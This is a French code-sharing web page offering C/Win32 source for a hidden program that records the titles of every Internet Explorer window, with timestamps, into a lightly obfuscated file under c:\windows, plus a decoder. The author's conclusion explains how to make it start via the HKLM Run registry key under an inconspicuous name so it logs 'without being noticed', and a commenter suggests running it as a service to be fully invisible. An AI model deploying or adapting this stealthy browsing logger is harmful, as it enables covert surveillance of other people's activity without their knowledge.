begin process at 2012 05 27 18:31:46
  Trouver un code source :
 
dans
 
Accueil > 

Code

 > 

Divers

 > LOG DES TITRES DES FENETRES IE

LOG DES TITRES DES FENETRES IE


 Information sur la source

Note :
Aucune note
Catégorie :Divers Niveau :Débutant Date de création :14/03/2003 Date de mise à jour :11/01/2005 18:35:45 Vu / téléchargé :3 072 / 135

Auteur : Maegis

Ecrire un message privé
Commentaire sur cette source (10)
Ajouter un commentaire et/ou une note

 Description

Ce code permet d'avoir un log des titres des fenetres IE qui ont étés ouvertes
Ce log contient la date l'heure et le titre d'IE

Le fichier contenant le log est crypté (très basique on peut meme pas appeller ça du cryptage c'est juste pour eviter d'être lisible par n'importe qui)
il y a donc un petit programme Decrypt pour decrypter tout ca
Le Header TrouveTitre.h est le même pour les deux (avoir les mêmes fichiers et le même clef de cryptage

Tout est dans le Zip telechargez le il ne fait qu'environ 50Ko  

Source

  • /*////////////////TrouveTitre.h///////////*/
  • #define CRYPTKEY 60 //Cle de cryptage
  • #define FICHIERCRYPT "c:\\windows\\listall.iel"
  • #define FICHIERDEST "c:\\listdecrypt.txt"
  • /*-----------------------------------------------------------------------------------------------*
  • //
  • // TrouveLeTitreIE
  • //Fait par : MaegisInstinct
  • //
  • //le : 09/03/2003 à 17:57:23
  • //
  • //Description : Cree un log des titres des fenetres IE
  • //
  • /*----------------------------------------------------------------------------------------------*/
  • #include <windows.h>
  • #include <stdio.h>
  • #include "TrouveTitre.h"
  • int APIENTRY WinMain(HINSTANCE hInstance,
  • HINSTANCE hPrevInstance,
  • LPSTR lpCmdLine,
  • int nShowCmd)
  • {
  • HWND handle; //handle de la fenetre
  • DWORD nbrOctetsEcrits;
  • char* buffer; //buffer contenant le titre
  • char date[19]; //buffer contenant la date et l'heure
  • char dejafait[43][1000] = {0}; //Contient les 40 premiers titres referencés
  • char dejavu = 0; //Si la fenetre à déja été captée
  • int curseur = 0; //Index de DejaFait ou l'on marquera la titre s'il n'est
  • //pas referencé
  • char findeLigne[2]; //contient le '\n' crypté
  • char espace; //contient l'espace crypté
  • int i; //controle
  • int taille; //taille du titre
  • HANDLE fichier;
  • SYSTEMTIME temps;
  • //Voila deja 2-3 Titre que je ne veut pas voir figurer dans le log
  • strcpy(dejafait[0],"Impossible de trouver le serveur - Microsoft Internet Explorer");
  • strcpy(dejafait[1],"http://www.google.fr/ - Microsoft Internet Explorer");
  • strcpy(dejafait[2],"Aucune page à afficher - Microsoft Internet Explorer");
  • findeLigne[0] = 13+CRYPTKEY;
  • findeLigne[1] = 10+CRYPTKEY; //un \n etant en ASCII un 13 puis un 10
  • espace = ' '+CRYPTKEY;
  • while(1)
  • {
  • handle = FindWindow("IEFrame",NULL); //On trouve la fenetre
  • Sleep(100);
  • /* on fait un petit Sleep pour eviter de trop ralentir et de bouffer toute l'utilisation
  • du processeur (surtout quand aucune apli tourne) et ainsi se faire reperer et puis au max
  • en négligeant le temps des instructions et les autres process ca fait du 10 titres/s ce
  • qui suffit amplement*/
  • if (handle != NULL)
  • {
  • taille = GetWindowTextLength(handle); //On obtient la taille du titre
  • buffer = new char[taille+1];
  • GetWindowText(handle,buffer,taille+1); //On adapte le buffer
  • dejavu = 0;
  • for(i=0;i<43;i++)
  • {
  • if(strcmp(buffer,dejafait[i]) == 0) //verifie si le titre de la fenetre
  • { //n'a pas deja été vu
  • dejavu = 1;
  • break;
  • }
  • }
  • if (dejavu == 0) //Si pas deja vu on l'inscrit dans dejavu
  • {
  • if (++curseur >= 43) //on incremente le curseur
  • curseur = 3; //Si trop loin on revient a 3;
  • strcpy(dejafait[curseur],buffer);
  • GetLocalTime(&temps);
  • sprintf(date,"%0.2d/%0.2d/%0.4d %0.2d:%0.2d:%0.2d",temps.wDay,temps.wMonth,temps.wYear,
  • temps.wHour,temps.wMinute,temps.wSecond); //On obtient date et heure
  • for(i=0;i<=19;i++)
  • date[i] += CRYPTKEY; //Petit cryptage bidon
  • for(i=0;i<taille;i++)
  • buffer[i] += CRYPTKEY; //De meme pour le buffer
  • fichier = CreateFile(FICHIERCRYPT,
  • GENERIC_WRITE,
  • FILE_SHARE_READ,
  • NULL,
  • OPEN_ALWAYS,
  • FILE_ATTRIBUTE_NORMAL,
  • NULL);
  • if(fichier != INVALID_HANDLE_VALUE)
  • {
  • //Bouge le pointeur à la fin du fichier
  • SetFilePointer(fichier,NULL,NULL,FILE_END);
  • //On ecrit la date et le texte
  • WriteFile(fichier,date,19,&nbrOctetsEcrits,NULL);
  • WriteFile(fichier,&espace,1,&nbrOctetsEcrits,NULL);
  • WriteFile(fichier,buffer,taille,&nbrOctetsEcrits,NULL);
  • WriteFile(fichier,findeLigne,2,&nbrOctetsEcrits,NULL);
  • CloseHandle(fichier);
  • }
  • delete[] buffer; //On ferme le fichier et on libere la memoire
  • }
  • }
  • }
  • return 0;
  • }
  • /*-----------------------------------------------------------------------------------------------*
  • //
  • // Decrypt
  • //Fait par : MaegisInstinct
  • //
  • //le : 09/03/2003 à 19:30:03
  • //
  • //Description : Permet de décrypter le fichier de log de TrouveleTitreIE
  • //
  • /*----------------------------------------------------------------------------------------------*/
  • #include <windows.h>
  • #include "TrouveTitre.h"
  • int APIENTRY WinMain(HINSTANCE hInstance,
  • HINSTANCE hPrevInstance,
  • LPSTR lpCmdLine,
  • int nShowCmd)
  • {
  • HANDLE fichier;
  • DWORD taille; //taille du fichier source
  • DWORD nbrOctets = 0;
  • DWORD i; //controle
  • char *buffer; //buffer pour décrypter
  • fichier = CreateFile(FICHIERCRYPT,
  • GENERIC_READ,
  • FILE_SHARE_READ | FILE_SHARE_WRITE,
  • NULL,
  • OPEN_EXISTING,
  • FILE_ATTRIBUTE_NORMAL,
  • NULL); //On ouvre le fichier
  • if (fichier == INVALID_HANDLE_VALUE)
  • {
  • MessageBox(NULL,"Impossible d'ouvrir le fichier crypté",
  • "Erreur d'ouverture de fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
  • buffer = NULL;
  • }else
  • {
  • taille = GetFileSize(fichier,NULL); //On obtient la taille du fichier
  • buffer = new char[taille]; //On alloue la memoire
  • if (buffer == NULL) //Si erreur de mémoire on quitte
  • {
  • MessageBox(NULL,"Erreur d'allocation de memoire pour le buffer",
  • "Erreur memoire",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
  • CloseHandle(fichier);
  • return 1;
  • }
  • ReadFile(fichier,buffer,taille,&nbrOctets,NULL);//Stoque les donnes dans le buffer
  • if (nbrOctets != taille) //Si le nombre d'octets lus != de la taille du fichier
  • {
  • MessageBox(NULL,"Erreur à la lecture du fichier de log",
  • "Erreur de taille du fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
  • CloseHandle(fichier);
  • //Il se peut que TrouveLeTitreIE soit en train de logger
  • }else
  • {
  • for(i=0;i<taille;i++)
  • buffer[i] -= CRYPTKEY; //On décrypte
  • CloseHandle(fichier); //Ferme le fichier source on en a plsu besoin
  • fichier = CreateFile(FICHIERDEST,
  • GENERIC_WRITE,
  • FILE_SHARE_READ,
  • NULL,
  • CREATE_ALWAYS,
  • FILE_ATTRIBUTE_NORMAL,
  • NULL); //On ouvre le fichier de destination
  • if (fichier == INVALID_HANDLE_VALUE)
  • {
  • MessageBox(NULL,"Impossible d'ouvrir le fichier de destination!",
  • "Erreur d'ouverture de fichier",
  • MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
  • }else
  • {
  • WriteFile(fichier,buffer,taille,&nbrOctets,NULL); //On ecrit les données
  • return 0; //fin sans erreur
  • }
  • }
  • }
  • if (buffer != NULL) //On doit liberer la mémoire
  • delete[] buffer;
  • return 1;
  • }
/*////////////////TrouveTitre.h///////////*/
#define CRYPTKEY 60		//Cle de cryptage
#define FICHIERCRYPT "c:\\windows\\listall.iel"
#define FICHIERDEST  "c:\\listdecrypt.txt"

/*-----------------------------------------------------------------------------------------------*
//
//                                      TrouveLeTitreIE
//Fait par         : MaegisInstinct
//
//le               : 09/03/2003 à 17:57:23
//
//Description      : Cree un log des titres des fenetres IE
//
/*----------------------------------------------------------------------------------------------*/

#include <windows.h>
#include <stdio.h>
#include "TrouveTitre.h"

int APIENTRY WinMain(HINSTANCE hInstance,
					 HINSTANCE hPrevInstance,
					 LPSTR lpCmdLine,
					 int nShowCmd)
{
	HWND handle;		//handle de la fenetre
	DWORD nbrOctetsEcrits;
	char* buffer;		//buffer contenant le titre
	char date[19];		//buffer contenant la date et l'heure
	char dejafait[43][1000] = {0};			//Contient les 40 premiers titres referencés 
	char dejavu = 0;				//Si la fenetre à déja été captée
	int curseur = 0;				//Index de DejaFait ou l'on marquera la titre s'il n'est
									//pas referencé
	char findeLigne[2];				//contient le '\n' crypté
	char espace;					//contient l'espace crypté
	int i;		//controle
	int taille;			//taille du titre
	HANDLE fichier;
	SYSTEMTIME temps;

	//Voila deja 2-3 Titre que je ne veut pas voir figurer dans le log
	strcpy(dejafait[0],"Impossible de trouver le serveur - Microsoft Internet Explorer");
	strcpy(dejafait[1],"http://www.google.fr/ - Microsoft Internet Explorer");
	strcpy(dejafait[2],"Aucune page à afficher - Microsoft Internet Explorer");

	findeLigne[0] = 13+CRYPTKEY;
	findeLigne[1] = 10+CRYPTKEY;	//un \n etant en ASCII un 13 puis un 10
	espace = ' '+CRYPTKEY;
	while(1)
	{
		handle = FindWindow("IEFrame",NULL);		//On trouve la fenetre
		Sleep(100);
		/* on fait un petit Sleep pour eviter de trop ralentir et de bouffer toute l'utilisation
		du processeur (surtout quand aucune apli tourne) et ainsi se faire reperer et puis au max
		en négligeant le temps des instructions et les autres process ca fait du 10 titres/s ce 
		qui suffit amplement*/
		if (handle != NULL)
		{
			taille = GetWindowTextLength(handle);		//On obtient la taille du titre
			buffer = new char[taille+1];
			GetWindowText(handle,buffer,taille+1);		//On adapte le buffer
			dejavu = 0;
			for(i=0;i<43;i++)
			{
				if(strcmp(buffer,dejafait[i]) == 0) 	//verifie si le titre de la fenetre
				{										//n'a pas deja été vu
					dejavu = 1;
					break;
				}
			}
			if (dejavu == 0)						//Si pas deja vu on l'inscrit dans dejavu
			{
				if (++curseur >= 43)				//on incremente le curseur
					curseur = 3;					//Si trop loin on  revient a 3;
				strcpy(dejafait[curseur],buffer);
				GetLocalTime(&temps);
				sprintf(date,"%0.2d/%0.2d/%0.4d %0.2d:%0.2d:%0.2d",temps.wDay,temps.wMonth,temps.wYear,
					    temps.wHour,temps.wMinute,temps.wSecond);  //On obtient date et heure
				for(i=0;i<=19;i++)
					date[i] += CRYPTKEY;			//Petit cryptage bidon
				for(i=0;i<taille;i++)
					buffer[i] += CRYPTKEY;			//De meme pour le buffer

				fichier = CreateFile(FICHIERCRYPT,
					                 GENERIC_WRITE,
									 FILE_SHARE_READ,
									 NULL,
									 OPEN_ALWAYS,
									 FILE_ATTRIBUTE_NORMAL,
									 NULL);

				if(fichier != INVALID_HANDLE_VALUE)
				{
					//Bouge le pointeur à la fin du fichier
					SetFilePointer(fichier,NULL,NULL,FILE_END);
					//On ecrit la date et le texte
					WriteFile(fichier,date,19,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,&espace,1,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,buffer,taille,&nbrOctetsEcrits,NULL);
					WriteFile(fichier,findeLigne,2,&nbrOctetsEcrits,NULL);
					
					CloseHandle(fichier);
				}
					delete[] buffer; 	//On ferme le fichier et on libere la memoire
			}
		}
	}
	return 0;
}

				
/*-----------------------------------------------------------------------------------------------*
//
//                                        Decrypt
//Fait par         : MaegisInstinct
//
//le               : 09/03/2003 à 19:30:03
//
//Description      : Permet de décrypter le fichier de log de TrouveleTitreIE
//
/*----------------------------------------------------------------------------------------------*/

#include <windows.h>
#include "TrouveTitre.h"

int APIENTRY WinMain(HINSTANCE hInstance,
					 HINSTANCE hPrevInstance,
					 LPSTR lpCmdLine,
					 int nShowCmd)
{
	HANDLE fichier;
	DWORD taille;					//taille du fichier source
	DWORD nbrOctets = 0;
	DWORD i;						//controle
	char *buffer;					//buffer pour décrypter


	fichier = CreateFile(FICHIERCRYPT,
						 GENERIC_READ,
						 FILE_SHARE_READ | FILE_SHARE_WRITE,
						 NULL,
						 OPEN_EXISTING,
						 FILE_ATTRIBUTE_NORMAL,
						 NULL);				//On ouvre le fichier

	if (fichier == INVALID_HANDLE_VALUE)
	{
		MessageBox(NULL,"Impossible d'ouvrir le fichier crypté",
				   "Erreur d'ouverture de fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
		buffer = NULL;
	}else
	{
		taille = GetFileSize(fichier,NULL);			//On obtient la taille du fichier
		buffer = new char[taille];		//On alloue la memoire
		if (buffer == NULL)			//Si erreur de mémoire on quitte
		{
			MessageBox(NULL,"Erreur d'allocation de memoire pour le buffer",
							"Erreur memoire",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			CloseHandle(fichier);
			return 1;
		}
	
			ReadFile(fichier,buffer,taille,&nbrOctets,NULL);//Stoque les donnes dans le buffer	

		if (nbrOctets != taille)	//Si le nombre d'octets lus != de la taille du fichier
		{
			MessageBox(NULL,"Erreur à la lecture du fichier de log",
				      "Erreur de taille du fichier",MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			CloseHandle(fichier);
		//Il se peut que TrouveLeTitreIE soit en train de logger
		}else
		{
			for(i=0;i<taille;i++)
				buffer[i] -= CRYPTKEY;		//On décrypte

			CloseHandle(fichier);		//Ferme le fichier source on en a plsu besoin
			
			fichier = CreateFile(FICHIERDEST,
								 GENERIC_WRITE,
								 FILE_SHARE_READ,
								 NULL,
								 CREATE_ALWAYS,
								 FILE_ATTRIBUTE_NORMAL,
								 NULL);			//On ouvre le fichier de destination

			if (fichier == INVALID_HANDLE_VALUE)
			{
				MessageBox(NULL,"Impossible d'ouvrir le fichier de destination!",
						   "Erreur d'ouverture de fichier",
						   MB_OK | MB_TOPMOST | MB_ICONEXCLAMATION);
			}else
			{
				WriteFile(fichier,buffer,taille,&nbrOctets,NULL);	//On ecrit les données
				return 0;		//fin sans erreur
			}
		}
	}
	if (buffer != NULL)		//On doit liberer la mémoire
		delete[] buffer;

	return 1;
}

 Conclusion

Désolé pour la piteuse présentation il y aurait fallu que j'adapte pour que ca rentre dans ce si petit cadre Telechargez le zip si vous voulez avoir une plus belle presentation.

Il ne reste qu'a le lancer au demarrage ouvrez regedit[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wind ows\CurrentVersion\Run]
et la vous mettez votre valeur chaine
Mettez un nom pas reperable et go!

Bon le prog fait une boucle while infinie il reste tout le long en arrière a tout logger sans se faire repérer
Tout commentaire sera le bienvenu  

 Fichier Zip

Les Membres Club peuvent télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip


 Historique

14 juillet 2004 23:35:36 :
Correction de petites fautes d'orthographe
11 janvier 2005 18:35:45 :

 Sources du même auteur

Source avec Zip Source avec une capture DETECTION DE CONTOURS
Source avec Zip Source avec une capture ASCII ART : BMP TO HTM - TRANSFORME UNE IMAGE EN FICHIER HT...
Source avec Zip ETIRER/RÉTRÉCIR UNE IMAGE BMP SANS STRETCHBLT
Source avec Zip Source avec une capture BITMAP24 TO TEXT - TRANSFORME UNE IMAGE EN TEXTE VC++
Source avec Zip RESOLUTION D'EQUATIONS DE DEGRÉ 4 OU INFERIEUR

 Sources de la même categorie

Source avec Zip KISIEL CD INFO DRIVE par kisiel0147852
Source avec une capture SUPPRESSION DES REDONDANCES DE FICHIERS par cyberntique
Source avec Zip ÉDITEUR DE RECTANGLES EN CONSOLE par seoseo
CONVERSION DE FICHIER EN FICHIER BMP par seoseo
Source avec Zip DETECTEUR EJP par idpro

Commentaires et avis

Commentaire de BruNews le 15/03/2003 00:23:09 administrateur CS

Si tu prends bien les commentaires alors j'y vais.
Le prog etant pour Win32, que viennent encore faire des fstream, ctime etc...
#include &lt;windows.h&gt;  se suffisait a lui meme.
Pour les dates:
SYSTEMTIME sttm;
GetLocalTime(&sttm);
Pour les fichiers c'est plus grave. Il ne faut pas faire un acces disque pour lire 1 char et un autre pour l'ecrire.
HANDLE hfl = CreateFile(nom,...OPEN_EXISTING...);
if(hfl == INVALID_HANDLE_VALUE) return;
DWORD len = GetFileSize(hfl, 0);
BYTE *pmem = alloc memoire len octets
DWORD val = 0;
ReadFile(hfl, pmem, len, &val, 0);
if(val != len) traite erreur;
tu decryptes dans le buffer pmem, TEMPS /= 1000 au moins.
Si tu reecris ailleurs en 1 passe idem, WriteFile() memes params que ReadFile().
CloseHandle(hfl); // pour fermer
ciao...

Commentaire de Maegis le 15/03/2003 20:29:15

Merci des ces belles remarques, j'ai effectué une mise à jour.
Tu a tout à fait raison et les executables passent de 40ko à 25Ko.
J'ai pas beaucoup l'habitude de faire des progs win32 et je connaissait pas ces fonctions.
Merci bien

Commentaire de BruNews le 15/03/2003 21:01:32 administrateur CS

De rien, ca fait plaisir d'aider qqn qui se donne la peine d'ecrire son code lui meme.
ciao...

Commentaire de TheLudo2013 le 02/09/2003 07:08:59

Un petit RegisterService() ne serait pas de trop pour être totalement invisible !!!

Commentaire de Maegis le 16/09/2003 19:50:18

Je suis sous Win Xp et sous XP les services sont visibles dans le gestionaire des taches.
mais c'est vrai que ce serait mieux

Commentaire de qtsi le 11/01/2005 13:43:15

juste une info:
c'est pas du cryptage mais de l'ascii shifting ;)

Commentaire de Joky le 19/01/2005 20:17:01

Question moi !!!
Quelle est la différence entre ?
int APIENTRY WinMain
et
int WINAPI WinMain ???

Joky

Commentaire de BruNews le 19/01/2005 20:20:29 administrateur CS

aucune, ce sont 2 alias de __stdcall.

Commentaire de Joky le 19/01/2005 21:05:31

Okay,
Mais pourquoi pour la compilation d'une DLL on passe par BOOL APIENTRY DllMain
et pour un programme normal Win32, on passe souvent par int WINAPI WinMain ???

Commentaire de BruNews le 19/01/2005 21:11:14 administrateur CS

juste une question d'habitude, tu mettrais:
int __stdcall DllMain(...)
irait idem.

 Ajouter un commentaire




Nos sponsors


Sondage...

CalendriCode

Mai 2012
LMMJVSD
 123456
78910111213
14151617181920
21222324252627
28293031   

Consulter la suite du CalendriCode

A découvrir



 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,827 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales